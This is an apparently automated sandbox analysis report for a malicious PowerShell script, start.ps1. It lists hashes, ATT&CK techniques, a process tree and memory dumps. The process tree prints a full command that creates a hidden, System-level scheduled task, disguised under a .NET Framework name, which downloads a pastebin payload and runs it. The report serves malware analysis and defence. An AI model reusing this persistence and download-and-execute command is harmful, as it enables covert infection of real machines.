74544a16f620605e4812a5e1b9615388f2daafe0af8d96060d1d0a289cc3c656

Resubmissions

20-12-2024 03:49

241220-edjqcaynaz 10

20-12-2024 03:47

241220-ecbcksymgz 10

Analysis

max time kernel
93s
max time network
296s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
20-12-2024 03:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

start.ps1
Size

2KB
MD5

2208ff484b710fa97536c08039a5c25c
SHA1

928c408e0668dd397464901f60ecaf559e9cece3
SHA256

5504e6eed79410349928af05caf3cbd4a8dc878ca68666dc348dee80dc31bc66
SHA512

0fd07a3f022438e009e7c9215f8e04643cba4c5ae678cfd4c3bcd9c468cff7ef9c8018622f82deee3ddcc29d62333014a8beff08c1ebee13b0a4f3cb4fbd9c1c

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1628	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2204	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1628	powershell.exe
1628	powershell.exe
1628	powershell.exe
1628	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1628	powershell.exe
Token: SeLockMemoryPrivilege	4516	kthmimu.exe
Token: SeLockMemoryPrivilege	4516	kthmimu.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4516	kthmimu.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1628 wrote to memory of 2204	1628	powershell.exe	78
PID 1628 wrote to memory of 2204	1628	powershell.exe	78
PID 1628 wrote to memory of 4516	1628	powershell.exe	79
PID 1628 wrote to memory of 4516	1628	powershell.exe	79

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\start.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1628
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /create /sc MINUTE /mo 100 /tn "\Microsoft\windows\.NET Framework\log4" /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''https://pastebin.com/raw/wG9Cy8HP'''))'" /F /ru System
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2204
- C:\Users\Admin\AppData\Local\Temp\kthmimu.exe
  "C:\Users\Admin\AppData\Local\Temp\kthmimu.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:4516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xpy1bivw.zx3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1628-16-0x00007FFCC53F0000-0x00007FFCC5EB2000-memory.dmp

Filesize
10.8MB

Download
memory/1628-6-0x0000020D76810000-0x0000020D76832000-memory.dmp

Filesize
136KB

Download
memory/1628-10-0x00007FFCC53F0000-0x00007FFCC5EB2000-memory.dmp

Filesize
10.8MB

Download
memory/1628-11-0x00007FFCC53F0000-0x00007FFCC5EB2000-memory.dmp

Filesize
10.8MB

Download
memory/1628-12-0x00007FFCC53F0000-0x00007FFCC5EB2000-memory.dmp

Filesize
10.8MB

Download
memory/1628-0-0x00007FFCC53F3000-0x00007FFCC53F5000-memory.dmp

Filesize
8KB

Download
memory/4516-18-0x0000024D8EB80000-0x0000024D8EBA0000-memory.dmp

Filesize
128KB

Download
memory/4516-15-0x0000024CFCA00000-0x0000024CFCA20000-memory.dmp

Filesize
128KB

Download
memory/4516-20-0x0000024D8F400000-0x0000024D8F420000-memory.dmp

Filesize
128KB

Download
memory/4516-22-0x0000024D8F860000-0x0000024D8F880000-memory.dmp

Filesize
128KB

Download
memory/4516-21-0x0000024D8F630000-0x0000024D8F650000-memory.dmp

Filesize
128KB

Download
memory/4516-19-0x0000024D8F1C0000-0x0000024D8F1E0000-memory.dmp

Filesize
128KB

Download
memory/4516-24-0x0000024D8F400000-0x0000024D8F420000-memory.dmp

Filesize
128KB

Download
memory/4516-26-0x0000024D8F860000-0x0000024D8F880000-memory.dmp

Filesize
128KB

Download
memory/4516-25-0x0000024D8F630000-0x0000024D8F650000-memory.dmp

Filesize
128KB

Download
memory/4516-23-0x0000024D8F1C0000-0x0000024D8F1E0000-memory.dmp

Filesize
128KB

Download